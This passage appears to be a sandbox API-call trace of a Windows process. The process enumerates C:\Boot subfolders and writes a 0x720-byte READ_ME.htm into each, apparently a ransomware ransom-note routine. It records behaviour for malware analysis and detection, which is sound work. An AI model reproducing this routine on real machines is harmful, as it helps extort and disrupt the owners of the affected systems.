ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0130.656] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.656] SetErrorMode (uMode=0x0) returned 0x1 [0130.656] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0130.656] SetErrorMode (uMode=0x1) returned 0x0 [0130.657] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*" (normalized: "c:\\boot\\fonts\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.657] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0130.658] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.658] SetErrorMode (uMode=0x0) returned 0x1 [0130.658] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.658] SetErrorMode (uMode=0x1) returned 0x0 [0130.658] CreateFileW (lpFileName="C:\\Boot\\Fonts\\READ_ME.htm" (normalized: "c:\\boot\\fonts\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.674] GetFileType (hFile=0x1bc) returned 0x1 [0130.674] SetErrorMode (uMode=0x0) returned 0x1 [0130.674] GetFileType (hFile=0x1bc) returned 0x1 [0130.676] WriteFile (in: hFile=0x1bc, lpBuffer=0x2881f10*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2881f10*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.677] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0130.677] SetErrorMode (uMode=0x1) returned 0x0 [0130.677] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*" (normalized: "c:\\boot\\fr-fr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.679] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.679] SetErrorMode (uMode=0x0) returned 0x1 [0130.679] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0130.680] SetErrorMode (uMode=0x1) returned 0x0 [0130.680] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*" (normalized: "c:\\boot\\fr-fr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.681] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.681] SetErrorMode (uMode=0x0) returned 0x1 [0130.681] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.681] SetErrorMode (uMode=0x1) returned 0x0 [0130.681] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\READ_ME.htm" (normalized: "c:\\boot\\fr-fr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.682] GetFileType (hFile=0x1bc) returned 0x1 [0130.682] SetErrorMode (uMode=0x0) returned 0x1 [0130.682] GetFileType (hFile=0x1bc) returned 0x1 [0130.683] WriteFile (in: hFile=0x1bc, lpBuffer=0x2887d30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2887d30*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.684] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0130.685] SetErrorMode (uMode=0x1) returned 0x0 [0130.685] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*" (normalized: "c:\\boot\\hu-hu\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.686] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.686] SetErrorMode (uMode=0x0) returned 0x1 [0130.686] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0130.687] SetErrorMode (uMode=0x1) returned 0x0 [0130.687] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*" (normalized: "c:\\boot\\hu-hu\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.688] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.688] SetErrorMode (uMode=0x0) returned 0x1 [0130.688] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.688] SetErrorMode (uMode=0x1) returned 0x0 [0130.688] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\READ_ME.htm" (normalized: "c:\\boot\\hu-hu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.689] GetFileType (hFile=0x1bc) returned 0x1 [0130.689] SetErrorMode (uMode=0x0) returned 0x1 [0130.689] GetFileType (hFile=0x1bc) returned 0x1 [0130.689] WriteFile (in: hFile=0x1bc, lpBuffer=0x288db50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x288db50*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.690] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0130.691] SetErrorMode (uMode=0x1) returned 0x0 [0130.691] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*" (normalized: "c:\\boot\\it-it\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.692] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.692] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.692] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.692] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.692] SetErrorMode (uMode=0x0) returned 0x1 [0130.693] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0130.693] SetErrorMode (uMode=0x1) returned 0x0 [0130.693] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*" (normalized: "c:\\boot\\it-it\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.694] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, 